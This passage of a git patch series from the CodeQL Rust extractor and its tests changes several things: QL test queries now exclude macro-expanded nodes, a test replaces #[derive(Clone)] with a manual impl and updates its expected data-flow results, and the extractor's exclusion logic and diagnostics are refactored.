b/rust/ql/test/library-tests/type-inference/type-inference.ql index 6801a9ca5692..02c1ef6f2b0d 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -18,16 +18,18 @@ class TypeLoc extends TypeFinal { query predicate inferType(AstNode n, TypePath path, TypeLoc t) { t = TypeInference::inferType(n, path) and - n.fromSource() + n.fromSource() and + not n.isFromMacroExpansion() } module ResolveTest implements TestSig { string getARelevantTag() { result = ["method", "fieldof"] } private predicate functionHasValue(Function f, string value) { - f.getAPrecedingComment().getCommentText() = value + f.getAPrecedingComment().getCommentText() = value and + f.fromSource() or - not exists(f.getAPrecedingComment()) and + not any(f.getAPrecedingComment()).fromSource() and // TODO: Default to canonical path once that is available value = f.getName().getText() } @@ -35,7 +37,9 @@ module ResolveTest implements TestSig { predicate hasActualResult(Location location, string element, string tag, string value) { exists(AstNode source, AstNode target | location = source.getLocation() and - element = source.toString() + element = source.toString() and + source.fromSource() and + not source.isFromMacroExpansion() | target = source.(MethodCallExpr).getStaticTarget() and functionHasValue(target, value) and From 1269a2e8a03167913cfcd906c29ddde857c55e1c Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Mon, 19 May 2025 13:00:46 +0200 Subject: [PATCH 290/535] Rust: fix extractor-tests --- rust/ql/test/extractor-tests/literal/literal.ql | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/rust/ql/test/extractor-tests/literal/literal.ql b/rust/ql/test/extractor-tests/literal/literal.ql index 3585ad2f5b91..21c36ab57618 100644 --- a/rust/ql/test/extractor-tests/literal/literal.ql +++ b/rust/ql/test/extractor-tests/literal/literal.ql @@ -1,13 +1,16 @@ import rust +import TestUtils -query predicate charLiteral(CharLiteralExpr e) { any() } +query predicate charLiteral(CharLiteralExpr e) { toBeTested(e) } -query predicate stringLiteral(StringLiteralExpr e) { any() } +query predicate stringLiteral(StringLiteralExpr e) { toBeTested(e) } query predicate integerLiteral(IntegerLiteralExpr e, string suffix) { - suffix = concat(e.getSuffix()) + toBeTested(e) and suffix = concat(e.getSuffix()) } -query predicate floatLiteral(FloatLiteralExpr e, string suffix) { suffix = concat(e.getSuffix()) } +query predicate floatLiteral(FloatLiteralExpr e, string suffix) { + toBeTested(e) and suffix = concat(e.getSuffix()) +} -query predicate booleanLiteral(BooleanLiteralExpr e) { any() } +query predicate booleanLiteral(BooleanLiteralExpr e) { toBeTested(e) } From 456a4b2be8cde098c7a53db3208d094a8f54da85 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 20 May 2025 11:31:36 +0200 Subject: [PATCH 291/535] Rust: Make `dataflow/modeled` pass by not using `#[derive(Clone)]` --- .../dataflow/modeled/inline-flow.expected | 130 ++++++++++-------- .../library-tests/dataflow/modeled/main.rs | 10 +- 2 files changed, 80 insertions(+), 60 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected index b7afe9dae35b..ff44b6acc8a2 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected @@ -29,32 +29,38 @@ edges | main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | MaD:5 | | main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | generated | | main.rs:28:13:28:21 | a.clone() | main.rs:28:9:28:9 | b | provenance | | -| main.rs:41:13:41:13 | w [Wrapper] | main.rs:42:15:42:15 | w [Wrapper] | provenance | | -| main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | main.rs:41:13:41:13 | w [Wrapper] | provenance | | -| main.rs:41:30:41:39 | source(...) | main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | provenance | | -| main.rs:42:15:42:15 | w [Wrapper] | main.rs:43:13:43:28 | Wrapper {...} [Wrapper] | provenance | | -| main.rs:42:15:42:15 | w [Wrapper] | main.rs:45:17:45:17 | w [Wrapper] | provenance | | -| main.rs:43:13:43:28 | Wrapper {...} [Wrapper] | main.rs:43:26:43:26 | n | provenance | | -| main.rs:43:26:43:26 | n | main.rs:43:38:43:38 | n | provenance | | -| main.rs:45:13:45:13 | u [Wrapper] | main.rs:46:15:46:15 | u [Wrapper] | provenance | | -| main.rs:45:17:45:17 | w [Wrapper] | main.rs:45:17:45:25 | w.clone() [Wrapper] | provenance | generated | -| main.rs:45:17:45:25 | w.clone() [Wrapper] | main.rs:45:13:45:13 | u [Wrapper] | provenance | | -| main.rs:46:15:46:15 | u [Wrapper] | main.rs:47:13:47:28 | Wrapper {...} [Wrapper] | provenance | | -| main.rs:47:13:47:28 | Wrapper {...} [Wrapper] | main.rs:47:26:47:26 | n | provenance | | -| main.rs:47:26:47:26 | n | main.rs:47:38:47:38 | n | provenance | | -| main.rs:58:13:58:13 | b [Some] | main.rs:59:23:59:23 | b [Some] | provenance | | -| main.rs:58:17:58:32 | Some(...) [Some] | main.rs:58:13:58:13 | b [Some] | provenance | | -| main.rs:58:22:58:31 | source(...) | main.rs:58:17:58:32 | Some(...) [Some] | provenance | | -| main.rs:59:13:59:13 | z [Some, tuple.1] | main.rs:60:15:60:15 | z [Some, tuple.1] | provenance | | -| main.rs:59:17:59:24 | a.zip(...) [Some, tuple.1] | main.rs:59:13:59:13 | z [Some, tuple.1] | provenance | | -| main.rs:59:23:59:23 | b [Some] | main.rs:59:17:59:24 | a.zip(...) [Some, tuple.1] | provenance | MaD:3 | -| main.rs:60:15:60:15 | z [Some, tuple.1] | main.rs:61:13:61:24 | Some(...) [Some, tuple.1] | provenance | | -| main.rs:61:13:61:24 | Some(...) [Some, tuple.1] | main.rs:61:18:61:23 | TuplePat [tuple.1] | provenance | | -| main.rs:61:18:61:23 | TuplePat [tuple.1] | main.rs:61:22:61:22 | m | provenance | | -| main.rs:61:22:61:22 | m | main.rs:63:22:63:22 | m | provenance | | -| main.rs:84:29:84:29 | [post] y [&ref] | main.rs:85:33:85:33 | y [&ref] | provenance | | -| main.rs:84:32:84:41 | source(...) | main.rs:84:29:84:29 | [post] y [&ref] | provenance | MaD:7 | -| main.rs:85:33:85:33 | y [&ref] | main.rs:85:18:85:34 | ...::read(...) | provenance | MaD:6 | +| main.rs:43:18:43:22 | SelfParam [Wrapper] | main.rs:44:26:44:29 | self [Wrapper] | provenance | | +| main.rs:44:13:44:33 | Wrapper {...} [Wrapper] | main.rs:43:33:45:9 | { ... } [Wrapper] | provenance | | +| main.rs:44:26:44:29 | self [Wrapper] | main.rs:44:26:44:31 | self.n | provenance | | +| main.rs:44:26:44:31 | self.n | main.rs:44:13:44:33 | Wrapper {...} [Wrapper] | provenance | | +| main.rs:49:13:49:13 | w [Wrapper] | main.rs:50:15:50:15 | w [Wrapper] | provenance | | +| main.rs:49:17:49:41 | Wrapper {...} [Wrapper] | main.rs:49:13:49:13 | w [Wrapper] | provenance | | +| main.rs:49:30:49:39 | source(...) | main.rs:49:17:49:41 | Wrapper {...} [Wrapper] | provenance | | +| main.rs:50:15:50:15 | w [Wrapper] | main.rs:43:18:43:22 | SelfParam [Wrapper] | provenance | | +| main.rs:50:15:50:15 | w [Wrapper] | main.rs:51:13:51:28 | Wrapper {...} [Wrapper] | provenance | | +| main.rs:50:15:50:15 | w [Wrapper] | main.rs:53:17:53:17 | w [Wrapper] | provenance | | +| main.rs:50:15:50:15 | w [Wrapper] | main.rs:53:17:53:25 | w.clone() [Wrapper] | provenance | | +| main.rs:51:13:51:28 | Wrapper {...} [Wrapper] | main.rs:51:26:51:26 | n | provenance | | +| main.rs:51:26:51:26 | n | main.rs:51:38:51:38 | n | provenance | | +| main.rs:53:13:53:13 | u [Wrapper] | main.rs:54:15:54:15 | u [Wrapper] | provenance | | +| main.rs:53:17:53:17 | w [Wrapper] | main.rs:53:17:53:25 | w.clone() [Wrapper] | provenance | generated | +| main.rs:53:17:53:25 | w.clone() [Wrapper] | main.rs:53:13:53:13 | u [Wrapper] | provenance | | +| main.rs:54:15:54:15 | u [Wrapper] | main.rs:55:13:55:28 | Wrapper {...} [Wrapper] | provenance | | +| main.rs:55:13:55:28 | Wrapper {...} [Wrapper] | main.rs:55:26:55:26 | n | provenance | | +| main.rs:55:26:55:26 | n | main.rs:55:38:55:38 | n | provenance | | +| main.rs:66:13:66:13 | b [Some] | main.rs:67:23:67:23 | b [Some] | provenance | | +| main.rs:66:17:66:32 | Some(...) [Some] | main.rs:66:13:66:13 | b [Some] | provenance | | +| main.rs:66:22:66:31 | source(...) | main.rs:66:17:66:32 | Some(...) [Some] | provenance | | +| main.rs:67:13:67:13 | z [Some, tuple.1] | main.rs:68:15:68:15 | z [Some, tuple.1] | provenance | | +| main.rs:67:17:67:24 | a.zip(...) [Some, tuple.1] | main.rs:67:13:67:13 | z [Some, tuple.1] | provenance | | +| main.rs:67:23:67:23 | b [Some] | main.rs:67:17:67:24 | a.zip(...) [Some, tuple.1] | provenance | MaD:3 | +| main.rs:68:15:68:15 | z [Some, tuple.1] | main.rs:69:13:69:24 | Some(...) [Some, tuple.1] | provenance | | +| main.rs:69:13:69:24 | Some(...) [Some, tuple.1] | main.rs:69:18:69:23 | TuplePat [tuple.1] | provenance | | +| main.rs:69:18:69:23 | TuplePat [tuple.1] | main.rs:69:22:69:22 | m | provenance | | +| main.rs:69:22:69:22 | m | main.rs:71:22:71:22 | m | provenance | | +| main.rs:92:29:92:29 | [post] y [&ref] | main.rs:93:33:93:33 | y [&ref] | provenance | | +| main.rs:92:32:92:41 | source(...) | main.rs:92:29:92:29 | [post] y [&ref] | provenance | MaD:7 | +| main.rs:93:33:93:33 | y [&ref] | main.rs:93:18:93:34 | ...::read(...) | provenance | MaD:6 | nodes | main.rs:12:9:12:9 | a [Some] | semmle.label | a [Some] | | main.rs:12:13:12:28 | Some(...) [Some] | semmle.label | Some(...) [Some] | @@ -79,36 +85,42 @@ nodes | main.rs:28:13:28:13 | a | semmle.label | a | | main.rs:28:13:28:21 | a.clone() | semmle.label | a.clone() | | main.rs:29:10:29:10 | b | semmle.label | b | -| main.rs:41:13:41:13 | w [Wrapper] | semmle.label | w [Wrapper] | -| main.rs:41:17:41:41 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | -| main.rs:41:30:41:39 | source(...) | semmle.label | source(...) | -| main.rs:42:15:42:15 | w [Wrapper] | semmle.label | w [Wrapper] | -| main.rs:43:13:43:28 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | -| main.rs:43:26:43:26 | n | semmle.label | n | -| main.rs:43:38:43:38 | n | semmle.label | n | -| main.rs:45:13:45:13 | u [Wrapper] | semmle.label | u [Wrapper] | -| main.rs:45:17:45:17 | w [Wrapper] | semmle.label | w [Wrapper] | -| main.rs:45:17:45:25 | w.clone() [Wrapper] | semmle.label | w.clone() [Wrapper] | -| main.rs:46:15:46:15 | u [Wrapper] | semmle.label | u [Wrapper] | -| main.rs:47:13:47:28 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | -| main.rs:47:26:47:26 | n | semmle.label | n | -| main.rs:47:38:47:38 | n | semmle.label | n | -| main.rs:58:13:58:13 | b [Some] | semmle.label | b [Some] | -| main.rs:58:17:58:32 | Some(...) [Some] | semmle.label | Some(...) [Some] | -| main.rs:58:22:58:31 | source(...) | semmle.label | source(...) | -| main.rs:59:13:59:13 | z [Some, tuple.1] | semmle.label | z [Some, tuple.1] | -| main.rs:59:17:59:24 | a.zip(...) [Some, tuple.1] | semmle.label | a.zip(...) [Some, tuple.1] | -| main.rs:59:23:59:23 | b [Some] | semmle.label | b [Some] | -| main.rs:60:15:60:15 | z [Some, tuple.1] | semmle.label | z [Some, tuple.1] | -| main.rs:61:13:61:24 | Some(...) [Some, tuple.1] | semmle.label | Some(...) [Some, tuple.1] | -| main.rs:61:18:61:23 | TuplePat [tuple.1] | semmle.label | TuplePat [tuple.1] | -| main.rs:61:22:61:22 | m | semmle.label | m | -| main.rs:63:22:63:22 | m | semmle.label | m | -| main.rs:84:29:84:29 | [post] y [&ref] | semmle.label | [post] y [&ref] | -| main.rs:84:32:84:41 | source(...) | semmle.label | source(...) | -| main.rs:85:18:85:34 | ...::read(...) | semmle.label | ...::read(...) | -| main.rs:85:33:85:33 | y [&ref] | semmle.label | y [&ref] | +| main.rs:43:18:43:22 | SelfParam [Wrapper] | semmle.label | SelfParam [Wrapper] | +| main.rs:43:33:45:9 | { ... } [Wrapper] | semmle.label | { ... } [Wrapper] | +| main.rs:44:13:44:33 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | +| main.rs:44:26:44:29 | self [Wrapper] | semmle.label | self [Wrapper] | +| main.rs:44:26:44:31 | self.n | semmle.label | self.n | +| main.rs:49:13:49:13 | w [Wrapper] | semmle.label | w [Wrapper] | +| main.rs:49:17:49:41 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | +| main.rs:49:30:49:39 | source(...) | semmle.label | source(...) | +| main.rs:50:15:50:15 | w [Wrapper] | semmle.label | w [Wrapper] | +| main.rs:51:13:51:28 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | +| main.rs:51:26:51:26 | n | semmle.label | n | +| main.rs:51:38:51:38 | n | semmle.label | n | +| main.rs:53:13:53:13 | u [Wrapper] | semmle.label | u [Wrapper] | +| main.rs:53:17:53:17 | w [Wrapper] | semmle.label | w [Wrapper] | +| main.rs:53:17:53:25 | w.clone() [Wrapper] | semmle.label | w.clone() [Wrapper] | +| main.rs:54:15:54:15 | u [Wrapper] | semmle.label | u [Wrapper] | +| main.rs:55:13:55:28 | Wrapper {...} [Wrapper] | semmle.label | Wrapper {...} [Wrapper] | +| main.rs:55:26:55:26 | n | semmle.label | n | +| main.rs:55:38:55:38 | n | semmle.label | n | +| main.rs:66:13:66:13 | b [Some] | semmle.label | b [Some] | +| main.rs:66:17:66:32 | Some(...) [Some] | semmle.label | Some(...) [Some] | +| main.rs:66:22:66:31 | source(...) | semmle.label | source(...) | +| main.rs:67:13:67:13 | z [Some, tuple.1] | semmle.label | z [Some, tuple.1] | +| main.rs:67:17:67:24 | a.zip(...) [Some, tuple.1] | semmle.label | a.zip(...) [Some, tuple.1] | +| main.rs:67:23:67:23 | b [Some] | semmle.label | b [Some] | +| main.rs:68:15:68:15 | z [Some, tuple.1] | semmle.label | z [Some, tuple.1] | +| main.rs:69:13:69:24 | Some(...) [Some, tuple.1] | semmle.label | Some(...) [Some, tuple.1] | +| main.rs:69:18:69:23 | TuplePat [tuple.1] | semmle.label | TuplePat [tuple.1] | +| main.rs:69:22:69:22 | m | semmle.label | m | +| main.rs:71:22:71:22 | m | semmle.label | m | +| main.rs:92:29:92:29 | [post] y [&ref] | semmle.label | [post] y [&ref] | +| main.rs:92:32:92:41 | source(...) | semmle.label | source(...) | +| main.rs:93:18:93:34 | ...::read(...) | semmle.label | ...::read(...) | +| main.rs:93:33:93:33 | y [&ref] | semmle.label | y [&ref] | subpaths +| main.rs:50:15:50:15 | w [Wrapper] | main.rs:43:18:43:22 | SelfParam [Wrapper] | main.rs:43:33:45:9 | { ... } [Wrapper] | main.rs:53:17:53:25 | w.clone() [Wrapper] | testFailures #select | main.rs:13:10:13:19 | a.unwrap() | main.rs:12:18:12:27 | source(...) | main.rs:13:10:13:19 | a.unwrap() | $@ | main.rs:12:18:12:27 | source(...) | source(...) | @@ -117,7 +129,7 @@ testFailures | main.rs:22:10:22:19 | b.unwrap() | main.rs:19:34:19:43 | source(...) | main.rs:22:10:22:19 | b.unwrap() | $@ | main.rs:19:34:19:43 | source(...) | source(...) | | main.rs:27:10:27:10 | a | main.rs:26:13:26:22 | source(...) | main.rs:27:10:27:10 | a | $@ | main.rs:26:13:26:22 | source(...) | source(...) | | main.rs:29:10:29:10 | b | main.rs:26:13:26:22 | source(...) | main.rs:29:10:29:10 | b | $@ | main.rs:26:13:26:22 | source(...) | source(...) | -| main.rs:43:38:43:38 | n | main.rs:41:30:41:39 | source(...) | main.rs:43:38:43:38 | n | $@ | main.rs:41:30:41:39 | source(...) | source(...) | -| main.rs:47:38:47:38 | n | main.rs:41:30:41:39 | source(...) | main.rs:47:38:47:38 | n | $@ | main.rs:41:30:41:39 | source(...) | source(...) | -| main.rs:63:22:63:22 | m | main.rs:58:22:58:31 | source(...) | main.rs:63:22:63:22 | m | $@ | main.rs:58:22:58:31 | source(...) | source(...) | -| main.rs:85:18:85:34 | ...::read(...) | main.rs:84:32:84:41 | source(...) | main.rs:85:18:85:34 | ...::read(...) | $@ | main.rs:84:32:84:41 | source(...) | source(...) | +| main.rs:51:38:51:38 | n | main.rs:49:30:49:39 | source(...) | main.rs:51:38:51:38 | n | $@ | main.rs:49:30:49:39 | source(...) | source(...) | +| main.rs:55:38:55:38 | n | main.rs:49:30:49:39 | source(...) | main.rs:55:38:55:38 | n | $@ | main.rs:49:30:49:39 | source(...) | source(...) | +| main.rs:71:22:71:22 | m | main.rs:66:22:66:31 | source(...) | main.rs:71:22:71:22 | m | $@ | main.rs:66:22:66:31 | source(...) | source(...) | +| main.rs:93:18:93:34 | ...::read(...) | main.rs:92:32:92:41 | source(...) | main.rs:93:18:93:34 | ...::read(...) | $@ | main.rs:92:32:92:41 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/modeled/main.rs b/rust/ql/test/library-tests/dataflow/modeled/main.rs index cb955ce32bde..3772d6487957 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/main.rs +++ b/rust/ql/test/library-tests/dataflow/modeled/main.rs @@ -32,11 +32,19 @@ fn i64_clone() { mod my_clone { use super::{sink, source}; - #[derive(Clone)] + // TODO: Replace manual implementation below with `#[derive(Clone)]`, + // once the extractor expands the `#[derive]` attributes. + // #[derive(Clone)] struct Wrapper { n: i64, } + impl Clone for Wrapper { + fn clone(&self) -> Self { + Wrapper { n: self.n } + } + } + pub fn wrapper_clone() { let w = Wrapper { n: source(73) }; match w { From 44a404571f3e91056a76a234967092aad2455105 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Mon, 19 May 2025 21:30:39 +0200 Subject: [PATCH 292/535] Rust: fixes --- .../templates/extractor.mustache | 3 +- rust/extractor/src/diagnostics.rs | 17 +- rust/extractor/src/main.rs | 5 +- rust/extractor/src/translate/base.rs | 22 +- rust/extractor/src/translate/generated.rs | 462 ++++++++++++++++++ .../extractor-tests/crate_graph/modules.ql | 14 +- .../library-tests/controlflow/BasicBlocks.ql | 17 +- .../library-tests/operations/Operations.ql | 2 + rust/ql/test/library-tests/variables/Ssa.ql | 17 +- .../test/library-tests/variables/variables.ql | 27 +- 10 files changed, 545 insertions(+), 41 deletions(-) diff --git a/rust/ast-generator/templates/extractor.mustache b/rust/ast-generator/templates/extractor.mustache index c4f8dbd983df..0ce5b863f267 100644 --- a/rust/ast-generator/templates/extractor.mustache +++ b/rust/ast-generator/templates/extractor.mustache @@ -34,8 +34,9 @@ impl Translator<'_> { {{#nodes}} pub(crate) fn emit_{{snake_case_name}}(&mut self, node: &ast::{{ast_name}}) -> Option> { - {{#has_attrs}} if self.should_be_excluded(node) { return None; } + {{#has_attrs}} + if self.should_be_excluded_attrs(node) { return None; } {{/has_attrs}} {{#fields}} {{#predicate}} diff --git a/rust/extractor/src/diagnostics.rs b/rust/extractor/src/diagnostics.rs index b0201e2aed75..0db3358d558a 100644 --- a/rust/extractor/src/diagnostics.rs +++ b/rust/extractor/src/diagnostics.rs @@ -1,4 +1,5 @@ use crate::config::Config; +use crate::translate::SourceKind; use anyhow::Context; use chrono::{DateTime, Utc}; use ra_ap_project_model::ProjectManifest; @@ -83,6 +84,8 @@ pub enum ExtractionStepKind { LoadSource, Parse, Extract, + ParseLibrary, + ExtractLibrary, CrateGraph, } @@ -113,18 +116,24 @@ impl ExtractionStep { ) } - pub fn parse(start: Instant, target: &Path) -> Self { + pub fn parse(start: Instant, source_kind: SourceKind, target: &Path) -> Self { Self::new( start, - ExtractionStepKind::Parse, + match source_kind { + SourceKind::Source => ExtractionStepKind::Parse, + SourceKind::Library => ExtractionStepKind::ParseLibrary, + }, Some(PathBuf::from(target)), ) } - pub fn extract(start: Instant, target: &Path) -> Self { + pub fn extract(start: Instant, source_kind: SourceKind, target: &Path) -> Self { Self::new( start, - ExtractionStepKind::Extract, + match source_kind { + SourceKind::Source => ExtractionStepKind::Extract, + SourceKind::Library => ExtractionStepKind::ExtractLibrary, + }, Some(PathBuf::from(target)), ) } diff --git a/rust/extractor/src/main.rs b/rust/extractor/src/main.rs index 38d113d02dc6..b9d3ddabd548 100644 --- a/rust/extractor/src/main.rs +++ b/rust/extractor/src/main.rs @@ -63,7 +63,8 @@ impl<'a> Extractor<'a> { errors, semantics_info, } = rust_analyzer.parse(file); - self.steps.push(ExtractionStep::parse(before_parse, file)); + self.steps + .push(ExtractionStep::parse(before_parse, source_kind, file)); let before_extract = Instant::now(); let line_index = LineIndex::new(text.as_ref()); @@ -108,7 +109,7 @@ impl<'a> Extractor<'a> { ) }); self.steps - .push(ExtractionStep::extract(before_extract, file)); + .push(ExtractionStep::extract(before_extract, source_kind, file)); } pub fn extract_with_semantics( diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index 43eca8480e46..b60e57cf6d3a 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -93,7 +93,7 @@ pub enum ResolvePaths { Yes, No, } -#[derive(PartialEq, Eq)] +#[derive(Copy, Clone, PartialEq, Eq)] pub enum SourceKind { Source, Library, @@ -619,7 +619,17 @@ impl<'a> Translator<'a> { })(); } - pub(crate) fn should_be_excluded(&self, item: &impl ast::HasAttrs) -> bool { + pub(crate) fn should_be_excluded_attrs(&self, item: &impl ast::HasAttrs) -> bool { + self.semantics.is_some_and(|sema| { + item.attrs().any(|attr| { + attr.as_simple_call().is_some_and(|(name, tokens)| { + name == "cfg" && sema.check_cfg_attr(&tokens) == Some(false) + }) + }) + }) + } + + pub(crate) fn should_be_excluded(&self, item: &impl ast::AstNode) -> bool { if self.source_kind == SourceKind::Library { let syntax = item.syntax(); if let Some(body) = syntax.parent().and_then(Fn::cast).and_then(|x| x.body()) { @@ -645,13 +655,7 @@ impl<'a> Translator<'a> { } } } - self.semantics.is_some_and(|sema| { - item.attrs().any(|attr| { - attr.as_simple_call().is_some_and(|(name, tokens)| { - name == "cfg" && sema.check_cfg_attr(&tokens) == Some(false) - }) - }) - }) + return false; } pub(crate) fn extract_types_from_path_segment( diff --git a/rust/extractor/src/translate/generated.rs b/rust/extractor/src/translate/generated.rs index 5002f09c4d86..84159f970c9a 100644 --- a/rust/extractor/src/translate/generated.rs +++ b/rust/extractor/src/translate/generated.rs @@ -242,6 +242,9 @@ impl Translator<'_> { Some(label) } pub(crate) fn emit_abi(&mut self, node: &ast::Abi) -> Option> { + if self.should_be_excluded(node) { + return None; + } let abi_string = node.try_get_text(); let label = self.trap.emit(generated::Abi { id: TrapId::Star, @@ -256,6 +259,9 @@ impl Translator<'_> { &mut self, node: &ast::ArgList, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let args = node.args().filter_map(|x| self.emit_expr(&x)).collect(); let label = self.trap.emit(generated::ArgList { id: TrapId::Star, @@ -273,6 +279,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let exprs = node.exprs().filter_map(|x| self.emit_expr(&x)).collect(); let is_semicolon = node.semicolon_token().is_some(); @@ -291,6 +300,9 @@ impl Translator<'_> { &mut self, node: &ast::ArrayType, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(&x)); let element_type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::ArrayTypeRepr { @@ -307,6 +319,9 @@ impl Translator<'_> { &mut self, node: &ast::AsmClobberAbi, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let label = self .trap .emit(generated::AsmClobberAbi { id: TrapId::Star }); @@ -319,6 +334,9 @@ impl Translator<'_> { &mut self, node: &ast::AsmConst, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let expr = node.expr().and_then(|x| self.emit_expr(&x)); let is_const = node.const_token().is_some(); let label = self.trap.emit(generated::AsmConst { @@ -335,6 +353,9 @@ impl Translator<'_> { &mut self, node: &ast::AsmDirSpec, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let label = self.trap.emit(generated::AsmDirSpec { id: TrapId::Star }); self.emit_location(label, node); emit_detached!(AsmDirSpec, self, node, label); @@ -348,6 +369,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let asm_pieces = node .asm_pieces() .filter_map(|x| self.emit_asm_piece(&x)) @@ -369,6 +393,9 @@ impl Translator<'_> { &mut self, node: &ast::AsmLabel, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::AsmLabel { id: TrapId::Star, @@ -383,6 +410,9 @@ impl Translator<'_> { &mut self, node: &ast::AsmOperandExpr, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let in_expr = node.in_expr().and_then(|x| self.emit_expr(&x)); let out_expr = node.out_expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::AsmOperandExpr { @@ -399,6 +429,9 @@ impl Translator<'_> { &mut self, node: &ast::AsmOperandNamed, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let asm_operand = node.asm_operand().and_then(|x| self.emit_asm_operand(&x)); let name = node.name().and_then(|x| self.emit_name(&x)); let label = self.trap.emit(generated::AsmOperandNamed { @@ -415,6 +448,9 @@ impl Translator<'_> { &mut self, node: &ast::AsmOption, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let is_raw = node.raw_token().is_some(); let label = self.trap.emit(generated::AsmOption { id: TrapId::Star, @@ -429,6 +465,9 @@ impl Translator<'_> { &mut self, node: &ast::AsmOptions, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let asm_options = node .asm_options() .filter_map(|x| self.emit_asm_option(&x)) @@ -446,6 +485,9 @@ impl Translator<'_> { &mut self, node: &ast::AsmRegOperand, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let asm_dir_spec = node.asm_dir_spec().and_then(|x| self.emit_asm_dir_spec(&x)); let asm_operand_expr = node .asm_operand_expr() @@ -466,6 +508,9 @@ impl Translator<'_> { &mut self, node: &ast::AsmRegSpec, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); let label = self.trap.emit(generated::AsmRegSpec { id: TrapId::Star, @@ -477,6 +522,9 @@ impl Translator<'_> { Some(label) } pub(crate) fn emit_asm_sym(&mut self, node: &ast::AsmSym) -> Option> { + if self.should_be_excluded(node) { + return None; + } let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::AsmSym { id: TrapId::Star, @@ -494,6 +542,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let assoc_items = node .assoc_items() .filter_map(|x| self.emit_assoc_item(&x)) @@ -513,6 +564,9 @@ impl Translator<'_> { &mut self, node: &ast::AssocTypeArg, ) -> Option> { + if self.should_be_excluded(node) { + return None; + } let const_arg = node.const_arg().and_then(|x| self.emit_const_arg(&x)); let generic_arg_list = node .generic_arg_list() @@ -544,6 +598,9 @@ impl Translator<'_> { Some(label) } pub(crate) fn emit_attr(&mut self, node: &ast::Attr) -> Option> { + if self.should_be_excluded(node) { + return None; + } let meta = node.meta().and_then(|x| self.emit_meta(&x)); let label = self.trap.emit(generated::Attr { id: TrapId::Star, @@ -561,6 +618,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::AwaitExpr { @@ -580,6 +640,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::BecomeExpr { @@ -599,6 +662,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let lhs = node.lhs().and_then(|x| self.emit_expr(&x)); let operator_name = node.try_get_text(); @@ -622,6 +688,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); @@ -649,6 +718,9 @@ impl Translator<'_> { Some(label) } pub(crate) fn emit_box_pat(&mut self, node: &ast::BoxPat) -> Option> { + if self.should_be_excluded(node) { + return None; + } let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::BoxPat { id: TrapId::Star, @@ -666,6 +738,9 @@ impl Translator<'_> { if self.should_be_excluded(node) { return None; } + if self.should_be_excluded_attrs(node) { + return None; + } let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let lifetime = node.lifetime().and_then(|x| 